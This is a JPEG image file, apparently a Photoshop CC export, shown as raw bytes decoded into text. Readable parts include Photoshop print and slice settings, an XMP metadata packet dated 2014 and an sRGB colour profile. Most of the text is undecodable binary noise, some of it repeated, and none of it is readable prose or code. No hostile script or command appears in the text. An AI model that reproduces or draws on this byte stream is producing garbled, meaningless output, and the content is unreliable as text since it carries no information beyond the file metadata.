+<�����梋k[��nk�8��O��q�h��O!�H��V��:ֻ��w�����Š�����Eu�4�Yo��J�(�^�mgtV������e��f��*��M/���g�޺�wh���z��m�����~�M%�=�V8��c�����hH����gL�8�ޣ��d�Uo9v��}.�.����̡R�G՜r=\���>���L��az�.o��kY���\���	�����}V�lc�q�pI~�KX��U��k��%t��ŏ%���s��}W����*�1��P>J�*1�2X�H�Zj���XA�~p�51.q��O��;���+o��)l
��K�ӭOV����Vu8v�<�-Wڬ��Q7>ö��	{���7�L�_[S%�5� ���y��T�7�
DZU�%���jz�������� V5�y�.U�V��������\���1������z��VMvP��m�5�����C<2D�K�8�)���	�Aq���͟�Z��@��z��_�����יc�@:��\?�շ�֍D�ټ�H$���sZ��`,ܙ�n�=;����Jϳ/��X��
�
0�1��O��'oS#�3;���"��9Ė��iw����ņ��\I$��I�9��)%���뫞aR �
Vΰ�3CY�l;�������~�Z��k~�BuΥCD�rԔ���$(F�*Nx:J���`�js����O�E��� ,ޯ��RO:-\Q9�t�����B���:FݕQva���I`>b����޷��f��m��B���9��0lmg�%��o��=G(�p�1������k��?��[l���G)B�Y^�W�}TwM���]B�|j�lv��]:�M�`f-e8
g��U�&5?L��ÿ��*�}��Qe�a�[�s��CH���gU]�z�����f�4I�ʡk2��s��c�[��F�Et�ʰϫ�0r.}�_E��Q����?��I���n-"��5�i;�%�k�����]&S�����:�vm�k�#�w<�Q¨,��
��zv~������,^��<r2���j��.O�,.��l�%��t���03Ү湍���˙�j�F��=k+S㕝��ٱ��4�yT�N5v��_N̼_%�ea����:�Q�5���)������c�۬ϳ�UO��u�����qhe��'k�^�=��Ɲ�ڲr���[��FI{KE�7�pۺ��ٵ��k�]��(�e*r��o��4b�oJ�8�
1��﹁�[���UV�ZX����s��?�dbgم��n����ii���l���ٵ�ܕ�ul�2�.����M���;Td���g��{�qG�yT�%���79P��t��2̌����3��!�1�8�yc�F���p�Zq�F��v��D��ڃ�N�E�11��o�m��U2]ղ��~E���li��Pjث�g;��mw���Yg@���[m�-.��e[Q��W��Y��H���y����f�K-�c�g�v�������t�1�mUݠO��IBޭ�ߠ����>��A���WE��Ky͎��5Zg��N�[w����5�R��^t���ǒ�]��l���tZd{�m��xbZ��#�I�P���U�h/>Kڙ:�����
�����=V}��v�+�nCqE���7W���U���VD9�^��@,t��h�cE*�Pb�Z;�y�����(eى�t:��t��gdՅ����w�ZƴM���[�{�F���׋gF��ڋ餶���$>������g���S����ӷe��9mi�<�m����9ߑ��#�)kً��u����
Hc��X�d�5�<K������ed9�KK�v�~��+p��s�65�V�#�`�m�~ϡ�E�2�^7�E����M
B����2y�"1iK8͵j虎�q�R<s���ԭ��b�NE�[��[�v*�꙯�ჰ`�]�X�/{��)�GDq�J�ҡ]g�
��juzG�u����.iN�[v���
�y	Ul�Ȱ�R�:{L	Q%Z�(��*$��.PqN�����{�rJ\�7�
-����VvE��!�}"�x�RRg'&m�.}o��<��������K��zm{��[L��~�U���WN�x�~�,�F���Yl��w֭d��9����>��1������*����9���
�c����e�G�[;�p���W>�.%���O�>���:U7L���f�V��a��h�T%)E�%*�RS)M)�W�qmm;�Ƹ�D�46{�U�)��
�!��>|&+%�3&���k�v��q���8��?�k~�#o�u曋�@m�1�O�4~g��-T�<D�D���\`:���Tgbӷ9�i��_>�߽[ډU�
���\�Q�L�c�S;:�m����h~�Iۻ�����"�v`i�'�t�[@"��C��x%�'��#Z���Ց���:����m%�n�1쇴q���k�R����6�m�[el�����Y����Z�%H�
~�����㤟��M�H�7������eT
��D�<��*�Cs��M#��!�s���x�Bu�;�(�o��ޯ������.�.�2��g��uk���]f5��U���=�#�<l���ʬ�.`x��`t����%)Pܔ�����)JJg�C"��E��Ƒ>�]��%)�$���Ӽ�./v�8�-���ɅU5�`o��\��	w�N\�\��H�� @1�(�ɉP.I
%@���P3�i⒖qCqP�/��o��E���*���� X��G��H
��qCqX��g��M���]���?Fl�y
P�	�/���=�A���Oȟp�I��F[vRz��[z{Ͼ���q��W.@�`+}4�NI0�vY��'D�L�(Bָ4�H�|�������j�}���ܥX�ܖ�o�~�_���Mnp�9��U,���v��6��s=G dT�{=�3�����>�TR��?��j�w\�~[��5���M3	�/p�K�h�q�T���.�-ʨ�i�~�.��a&Ǻ��~U��A�'�wz뾵t�4-��ݣ�zϿ�u���V�v68��5`�A����X�Ň�kj�o���6���f�>.0��䣻�6������rJ���FSJbRS���Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI��
Untitled-1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM����,����Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��dXR�3�ZΨ��k�T�;m�*��a1,�� �QXq���َ6�C�Z}��R�4�qʦ<\[�+��E�p�x�X�T=�
�>Eu�֓
U��KW� C�NL���[Q��cP�u�yw��.�[��V�O�BK���P%�<VT���0�C�����uޡ�O�{��Zv��ua����Q�d.�>���_32%���i��/�����$�$�\�ew!v�:��=^�_k����!SpPO�#e�=���U֖4� ��bӗ�l1�W���?�c~t��u��)���F���Rk
z�X��#��1����ӕ��VM��n��n�5�?8B�XB�]Ѩ�M�*���ͱ�UY���E�/�(c���y�_'�L�P �T�h��/�оzm�ɍ
��=�@�.ƌV��=��(�)���G�B�ޑ���U��*�z�O?�oa%V�5��� ����^�]r��
��5��1�U,�$r�ݗ3�`/�'v���I�{�P��lr�ߒė=Ѳd�
af^�(�s��RO
��YN��=�� M�g��%�$x�=�9�
��	py�ctz�(-#�D���<A���9�s����n{i�RL<�e�{�5v�ܼ��n�������	c���'ծ����Q:�����xxT�Z\�K���<L,:�U��
�+���d��b5�b�����1�5��M%sٴ�e�8����ǎ/u8���$�S�ioJȳ!��:hJ�t��&��	�N�J�r�(�O�
�.?�7�J>�E�>/�����6\@T��[Ǧ�K��r���s����cD��]Qp$bTW������nf]��᪗�A�E���������Z�P�ї�H�	�'�8Z��_���<�tc)-��r*���8=ֿ��6W�0\��-~��OӴ[��3O����m��֍U��kO7g����12�� A��ll|�����J��2rl�U鳱:��z~�n���e(�Kb2%����q�ma���_��a�
a�֘���OL���Opr=/hiv��I)�x-%���[��p�
��12��[��Љ�s�ߓ��ls][��˾
\oU�W�?�#�V�v�����!au��5��[��g�m�����xJϬ�u�7��U��.(��g�������"xԠ��4~����?�su��a��^��HZU~��Vz����H��>�D�m�N������ʦ�������B���TV}����a��Ԙ�5�Y��~vE�f����I�>�}Q�����Ѻ�3-6�}&������s-N�֑��ҿ��1��
|�3��k�"
���nsG�[Z{�Jm���h����&�?��Gg�v���[K�nC�'���hq"����_�'�d�q��V;���6���G���Y�����_�/-���u���w��&G	�Լ��~c���y�B�9����IzV/M���F��rJ��Y�rl���]�>��C��ԍ��c�s*7ե�w*��s2�)�
H��f�&T�g?yS���a~CU����J���ľ�Z�<J�����Gџ㽼��"��[hd��A�<�cO��'�e?��
+<�����梋k[��nk�8��O��q�h��O!�H��V��:ֻ��w�����Š�����Eu�4�Yo��J�(�^�mgtV������e��f��*��M/���g�޺�wh���z��m�����~�M%�=�V8��c�����hH����gL�8�ޣ��d�Uo9v��}.�.����̡R�G՜r=\���>���L��az�.o��kY���\���	�����}V�lc�q�pI~�KX��U��k��%t��ŏ%���s��}W����*�1��P>J�*1�2X�H�Zj���XA�~p�51.q��O��;���+o��)l
��K�ӭOV����Vu8v�<�-Wڬ��Q7>ö��	{���7�L�_[S%�5� ���y��T�7�
DZU�%���jz�������� V5�y�.U�V��������\���1������z��VMvP��m�5�����C<2D�K�8�)���	�Aq���͟�Z��@��z��_�����יc�@:��\?�շ�֍D�ټ�H$���sZ��`,ܙ�n�=;����Jϳ/��X��
�
0�1��O��'oS#�3;���"��9Ė��iw����ņ��\I$��I�9��)%���뫞aR �
Vΰ�3CY�l;�������~�Z��k~�BuΥCD�rԔ���$(F�*Nx:J���`�js����O�E��� ,ޯ��RO:-\Q9�t�����B���:FݕQva���I`>b����޷��f��m��B���9��0lmg�%��o��=G(�p�1������k��?��[l���G)B�Y^�W�}TwM���]B�|j�lv��]:�M�`f-e8
g��U�&5?L��ÿ��*�}��Qe�a�[�s��CH���gU]�z�����f�4I�ʡk2��s��c�[��F�Et�ʰϫ�0r.}�_E��Q����?��I���n-"��5�i;�%�k�����]&S�����:�vm�k�#�w<�Q¨,��
��zv~������,^��<r2���j��.O�,.��l�%��t���03Ү湍���˙�j�F��=k+S㕝��ٱ��4�yT�N5v��_N̼_%�ea����:�Q�5���)������c�۬ϳ�UO��u�����qhe��'k�^�=��Ɲ�ڲr���[��FI{KE�7�pۺ��ٵ��k�]��(�e*r��o��4b�oJ�8�
1��﹁�[���UV�ZX����s��?�dbgم��n����ii���l���ٵ�ܕ�ul�2�.����M���;Td���g��{�qG�yT�%���79P��t��2̌����3��!�1�8�yc�F���p�Zq�F��v��D��ڃ�N�E�11��o�m��U2]ղ��~E���li��Pjث�g;��mw���Yg@���[m�-.��e[Q��W��Y��H���y����f�K-�c�g�v�������t�1�mUݠO��IBޭ�ߠ����>��A���WE��Ky͎��5Zg��N�[w����5�R��^t���ǒ�]��l���tZd{�m��xbZ��#�I�P���U�h/>Kڙ:�����
�����=V}��v�+�nCqE���7W���U���VD9�^��@,t��h�cE*�Pb�Z;�y�����(eى�t:��t��gdՅ����w�ZƴM���[�{�F���׋gF��ڋ餶���$>������g���S����ӷe��9mi�<�m����9ߑ��#�)kً��u����
Hc��X�d�5�<K������ed9�KK�v�~��+p��s�65�V�#�`�m�~ϡ�E�2�^7�E����M
B����2y�"1iK8͵j虎�q�R<s���ԭ��b�NE�[��[�v*�꙯�ჰ`�]�X�/{��)�GDq�J�ҡ]g�
��juzG�u����.iN�[v���
�y	Ul�Ȱ�R�:{L	Q%Z�(��*$��.PqN�����{�rJ\�7�
-����VvE��!�}"�x�RRg'&m�.}o��<��������K��zm{��[L��~�U���WN�x�~�,�F���Yl��w֭d��9����>��1������*����9���
�c����e�G�[;�p���W>�.%���O�>���:U7L���f�V��a��h�T%)E�%*�RS)M)�W�qmm;�Ƹ�D�46{�U�)��
�!��>|&+%�3&���k�v��q���8��?�k~�#o�u曋�@m�1�O�4~g��-T�<D�D���\`:���Tgbӷ9�i��_>�߽[ډU�
���\�Q�L�c�S;:�m����h~�Iۻ�����"�v`i�'�t�[@"��C��x%�'��#Z���Ց���:����m%�n�1쇴q���k�R����6�m�[el�����Y����Z�%H�
~�����㤟��M�H�7������eT
��D�<��*�Cs��M#��!�s���x�Bu�;�(�o��ޯ������.�.�2��g��uk���]f5��U���=�#�<l���ʬ�.`x��`t����%)Pܔ�����)JJg�C"��E��Ƒ>�]��%)�$���Ӽ�./v�8�-���ɅU5�`o��\��	w�N\�\��H�� @1�(�ɉP.I
%@���P3�i⒖qCqP�/��o��E���*���� X��G��H
��qCqX��g��M���]���?Fl�y
P�	�/���=�A���Oȟp�I��F[vRz��[z{Ͼ���q��W.@�`+}4�NI0�vY��'D�L�(Bָ4�H�|�������j�}���ܥX�ܖ�o�~�_���Mnp�9��U,���v��6��s=G dT�{=�3�����>�TR��?��j�w\�~[��5���M3	�/p�K�h�q�T���.�-ʨ�i�~�.��a&Ǻ��~U��A�'�wz뾵t�4-��ݣ�zϿ�u���V�v68��5`�A����X�Ň�kj�o���6���f�>.0��䣻�6������rJ���FSJbRS��8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-27T19:33:50-08:00" xmp:MetadataDate="2014-01-27T19:33:50-08:00" xmp:ModifyDate="2014-01-27T19:33:50-08:00" xmpMM:InstanceID="xmp.iid:d1eb45f1-ebad-2740-85db-6a96f07399c3" xmpMM:DocumentID="xmp.did:c94d3462-c4e3-954a-b550-9730d85db32f" xmpMM:OriginalDocumentID="xmp.did:c94d3462-c4e3-954a-b550-9730d85db32f" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c94d3462-c4e3-954a-b550-9730d85db32f" stEvt:when="2014-01-27T19:33:50-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:d1eb45f1-ebad-2740-85db-6a96f07399c3" stEvt:when="2014-01-27T19:33:50-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
����"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?)�J=p�L7����L�������
r���}Ʌ�;S"BƇ,ڴØGC�ڜ|9qq�ǹ���ħ��1q(=�9���0rF��r4��ŋM�)�v��G
1A7�0��щ%�Ͷ�X��]LyI�i�Pe�p��LE��,cEQ�jT��2��J;E^�!bEƼ�N�j�@���O|�(L˪�y�c�n@�F��KPʍͼ�ռ�\�����YeH�U�<�gj���S� ���%�|��|�ͯ/�؛���ڴ\�*�	l���8ռ�s~ƀ����%��I��lI��R��Z~�-��
c�0)�e�$n�g�:ͼ�8�
���:��r�q4%Z����+jf
��9h��!�SB���]���zq��.��%�~��m�����R���(�by$P�^�%��M���j����i����y���
�r�`�#Q��� P6���S̤wʆ����ȋ	
�צI��i�G<�t&�O��7��x}TË�~O��}�[�n#*�)צJd��;
�Y4ien\rz��F���w�6��S����6�$F�q�B~.���1�x�0�t�E!�2ޤbqS��NCŰm�YJ.m�J�~�&����4Q^�n)�"���D�2kmF5QV�\�Ю�+�2=�&��`/[z�S�pYi���g�n��r/swrI�RA�
,�0
��\�\�8iq0�|)���r���Q�~�*C\
�r�Ȩ�Ď*�FH0*bdb�ahk*G���`�hF&FӴ��Fa�e�ݻ�bS<�~�.�aL3�O2_��#T����%^[��d5���'�V��̈c5r�ɢS�o͂Zi�€HC�`� !FJ�tQ�=��X�NU���I&�c�Z�R��|$�ϙ��Ȩ�|2�w.h�r�1%�y&�!'�gE�ur��[�[;�k�O��a�7�?U�za5�P�<�ў��IდM@>��Z`����3�5s���9֑m�Γx��.��f�s�˔�نR
��`�JuȠ���ฯs3�˙,Uɒ=�c�������p,�]w�r1���׾k��K�{�W���V^L���������!=��朚�dz�ؖ<GS��V����$Z㼘�|�'��=8�*�:{g�c	 �abd��tf��m�/44�	U�J��d�/
�FլR;wb�[����˨�2=qX�EP�Y���pN��QX���KȞO��/n����GL�8��:���#�W����@w(:��˾K��!@"��I!Ӣ�����`���3"1�7�j��g��#�R��p3��p��T�#B�FNح�h�l�ڴ��Ll<2S�[H�*�n{�@ı�H"���2ހe[yn<���W�������;F0q��{Ӌ}>�ڄQ�`Ϭ�N��"O���ޘ��=yr5Lj�E����]Q���� ���@ޘ].��8%V�@,Lٖ��ElK�����lj����߽C+��O!���;��r�d�q!1���"��ǻ�!�:�o)�S�<���1e� (���U,�GS����o���v�T)f&��-�)��e�ӓw��hO�|����3��;��G��~4|Nd�Nz���?s���ugR(w�t�,�D�vt�j�u�M�X�-���x�ݪS2dwU�FC�?<�K��;�2,k_�-%��r@_�b&�O�$o�l�Dr,�FZ��#T�Ã����APA�QhnYe�y)��O�EVn�2@[i!���f�ʯǒ�m HV����`�jvȽ����s�-:�Td��~���.�SvY0+ģ9��p�Y�[�j0K~g��ޔ��%��>k�\�߻������7Z��97�l���]*R��ʵ�;�<����� w����/SZ��x�q�+�+#����T�|��0���1���}ɦCn��_� �2�hc��|�d���QW��ײ�z��xY���E�X���ڼy}8G�y3Κ��L��#O�Ⱦ�T=�Ix.J�G��꾷֬��_���=?�/O��U]/y?��Jԇj�R{�6�=1;1��a���z�0���d�)$:��l��|��lBFK5+�‘\��\�$���r�̻->�Cr��(�� 1)njz�f��*�	n��䊏�q\��[+�Q�#����QfcEQ��S�d(�Wb��*z�Ê�6^eg剮�<�ӏ�9 ��>���]��p���e_`F����� �J�9���.�)sNd���J��(��t����G�/�|R�KE��n���@�AA��0c�I���+���[0�r!b7�mڛ�
��;D�rj`�#I������QG�q�ȗ��cLIL��X��	�D��˞V�-4v�p�u)oP��lM0�n]E[�c#ܖ�YILfoRVܞ�吿1[�ws�:$��
��)�{��j��x��O�dz�/l�IX��'���:�kr�U�E����5���Ė�������T�Zr���W)���5���S�)4�'Xo�k��A��G�����J�|Z�\�ͽ�G��n�k�ZV���"���!�i�>��J!Ҭ罐�q����ܨ+�M7�oͷ\_R���?��
(�Q���E��s
��zp�~�X"�#�"�9-s&:q@�m7@>lN����on�YGڎ���������iz��t�K&���K1��?��5��e���5�$�UF�����Y�F��91"��2K���=z�yWڕȃ��;��q�a�&b,y5�s�ԜG
��E�}�΃mv�Gw$.~�qVZ���9`(sN�c�Q�@���8��.��$�o(y��A�1W�{f���u���~�g�Z�ͅ�4�^Oꉬ�5' ׈4��Z�r�	7d{�l��U	{�x���C
��Ff�ns�M���:����#s$)�>��ӎV���/�,Z?�)	��l�a�h��;İ�$i�>��܏�h�V>�1
l3�C�]�s4hI��G�Ϻ��\W7 c� ff�Ɲ~�ˎ�q��3��0�M�o�%*;t���}W)�j`�t�&U%��9m4���G#(�탭�A���	o��ޙb;��[ԛ൲�����4T�'�1�ae���0��u��,@��nG�pD_��k�S?�go��O �>�%Ә�"i[�����wӊܵ+��JV+K$�Lp��P?	=�l��Pq�M���O4��X�4��>��7ļq3(�q]�����`�-�Sٜz��
���$��]����Z��E��{�2y~���w�2?��V_Y�1�t�P�����"���VO�|:�O��f�$O%�w����Z��:i/��%�J{�?9����]\�Jg��K��s,��5~n[:�m�x�;q���9T��-�m����H�SF��yn�>����~X��Uk�l�zt��o�,2�p�
�M��l}��'�,�m��<N]`sa�B��o���[��{W~��=OG��j�|X]Zx%WO��o�qP\����zduV_��
�ujlƠ澝��+:�rj�8���0��dW��I*z���j���3�ŽN�$��Ǩ|J��45�qc�
�F�q���l�'(pϛ�lnV1���c���`��	�%G�D4�V�s�R:���b�^݂��_��Y��(r�괒�< Q����%Ha�B0��5"�O�i%� �w��2$�,���t9�'r.�x2c�����@�^RF�a��6����ROU���9~=0��w�Z�1��n{N�'����aZ��*�r
D
��Y�a&�W��T���\&�q��UO��?�N	�>�L�̧`�Q��;���qFF_ �17j�,8��C��^���i4�$�y+�����с�%���
�~�l���Y=�4�
�Cm��T�й"�s�:����	�t�ORwȍה������]�?`���,a[H'�����#�K�����l<��-F���Ÿېq�uxn�-8p�4���@�NT�Ư>���Q�����#ҽ��!�|�}eI5;��J.��ɔWz��L����#�
������4����Q��܍����9�ŕ�ݘ�:�wZ��츠�U4�6�*��"rL�,�"9Җ�7��#9>'+�B�0�Vyv��f�"���q�=5�SK��������,0�e�����<�����|�n�s�(�D�N0{�R���LCIzph-��	#b���r����{�]�k�C`��v�N �%7叒�j�ZOlOAê��/�
��g��b�s{����p�]�����|6������p�X��D��;���꿗7�ssӵ<G���(�'�.ɦk�`���"���"QO�?�.v��q<
��\�Kug��0�W��N#;ދ\�y0�E��e��.5!Ө;}��-��L^���u�+�-SII籆MB��G,��^`���W�\&�?,��Z������*Y�._͕�K!/I�>N^Ӂ�9"GZ��<���K;l� ݏ���:��� ��[��Ì��V������\n��i�Bq��
�f��)�gj�@umn�]�qX�lt�p�uV?��/�/�'g$��vM�PԎC�0�ԧ �ԝ�=I=N/8ȣ�k�0[�S����cnQ�A�(M�(YMƯ�5�cLs}��W�w��:�f��_\���6yn���i��f�6��|ߦDH��^v��8����F�uU�Gj��EO�rg,��r)uٓ:zVGX��'\O�ؚ�^	\~š��ySP�5���Z�,@��kCȋ
U��R)������1���$8Y@8��M!���uϚ5뭣d�S�OߌK5�x��v�E�f��_�_���g��ܢ��.�on�+�䖽y1�>-9�~�3����{I$�)��ptZ�0��-�Q��	����e&J��PcX�DZpO�����;s�ԯ1�'o���l-���QN�d���0�.&�����a��еi��X�T�ؤ��x`i�8z�',��X���~/)�w���>�a�l`����g�KQ�
�5뗯�e� r1$����m���'��>\9
�Nkۙ~Ӝ�W���?�׎��au����@�~}0���0�g87��r~��"��n#|טӷ�N+�g���hA۶H���\�6��p��q�n��
�����%�9���#�yF=_̐_��ck�ˈ�IXo_��'��f��( ����U��'�\1ռ�b�=+P�fI!Yb��ys$�q���X�~��8:�86��u2c��۩��L��~bY������D=��5�4kA�i�y�%+���-�#D�u��pJ��}�_�iw��e�V⑆٤'���9ѴM��5=R'���_K�j��
�mV���i��<���
�4:Tk�A_�)�P���Ὁ�L��ۢ�|:m��L:I'�?��l���n�Y�죓}����c����.���~#�-r<r�6�/��ʺ�����W�,@��:--p��8s
����5��F�����@��X���1;��Bg����RD�zm�?T�ѤR�ʿ���&��}n^K���i�)�pivv����a=M03dP�M����;3���Š�o,�ۯ�M��KY��|N�U��`ym�c|��U�mv72Ip|�3�H����ރK�v�>�6�w'F�=��9
`I<�">�Cv�fԬ��	�ԓ�'�r~�rT�Of�ch��[>�w%B�#�M���n�d�r큘���q6�
m��(ؓaU6�w�1����Mall��4�o���^�N/���a7�W�=���1�T%(�՗GpkU8gm~cZ�ڛ�2-FT����M�����wX����ٷ�ѺM8�/�c��?�Y��#��rDD˹�yb�����
^ݨ!X�;���jL���q|���F�b��\�ڴ��z�}Ǘ,�Ւ�0�…Ne�TxG'S2�������"�� ���i�/QZKV䪿qn��\7��7��Mc�����a����(�Q���d#����~L2+��k?�-"_�o�!�%��n?�%.��O�)ol���PO�8Mv�v�{��_�L��C���[��1��g�ij)1��
%�n�h� �r^�K��?!�X" I�Y3�k��}8Mf�?��l��[rI>�U�E��Қ����K�^K�N#���p�-��>��g�N4�U�Ɯ��I�Z8��'c�
1������'c��(���g��v��'Tc����k�����9��i�>��8�w‡���M��W]�N�I�5����s��s����IJ.��N78�U�"���k�0�P���s��zmC�+�?��G���=�}�-m�GT
�R�o��|��O��+���p��W�:+<��������=I���H"=�c6��ñ�9�]��e�TA	>�Gjc���2�]��e"1�丸�y$f�q����\��WTf�6�U�W�18��*�sW\�`��hRqCd�I�PEF�Ɠ���i9�������*�qUbq�q����N��
���'��R�S�Ӣ�,@븮6tE�ѵ�H�c�|���y@X����F/m���ԆS�L2_�C�z�E���ĥZ��4o�E@���@�D�u����
��ֶ��uR+�9sJ��9A'�8�J!��$`�Z}8�G�q=G�vΑܼł+�]�LmS#�8�1*�!J%�']��q:�C�ҋ͢�(�܊G��]�]ć�|�ߒ�O}=�"�?�zc@��d�f�o(���b\1J�)��A�Fu��5
:�5䢹��$�W��7 ta�ߖ��v�J��%��ø�3#ƻ�
TH ��J�s�
����/�]q:��_\��W5qU��\g,�⫁�\esW%��w�Hk'	
�@=1;��!
뙢���[ž�1��G�C_��2S�D�e��!����h�����L�Zd�O���#ko2[�.���c��$x= =+������b��k�ȡwr����OzYE#�G&���zF����[xMż�e�se$�G|���Wq_XPzt�m��Wt���e�+�%�Q�N6h�}���{%���%��
Uf����lDAn�Uءԏ�H��¥~��Ʋ�O"��<+k#`b1�o�/�;��a�����(܏pĚt�[
!EcD�ҥE(F6P׽<0Q8�P� �z.cA��'N*��']���u�
��ӇKz�*�[%)L&��ő潘��|��ۗݔnX�4�[ψ�F���7Z��3EY~?�X���ޠm]���ja��i˗���D[ΗG:��`~x�r�
[��H���[c���O�%�̠l�ES5q��\(_\��W5qU��匮UqJ����뚸�eͼw&&z����9��(��s��Q8��A܎�4�o,i8Uw,ilmq��c�'18�qV��	��N(i�&�-�0�ZN&�,�ż�*���zt5�����ah�I�W|"��v�Qe���񄞥}!��{��{����A|I?<��8�dO������LSI���C��(�i���v��
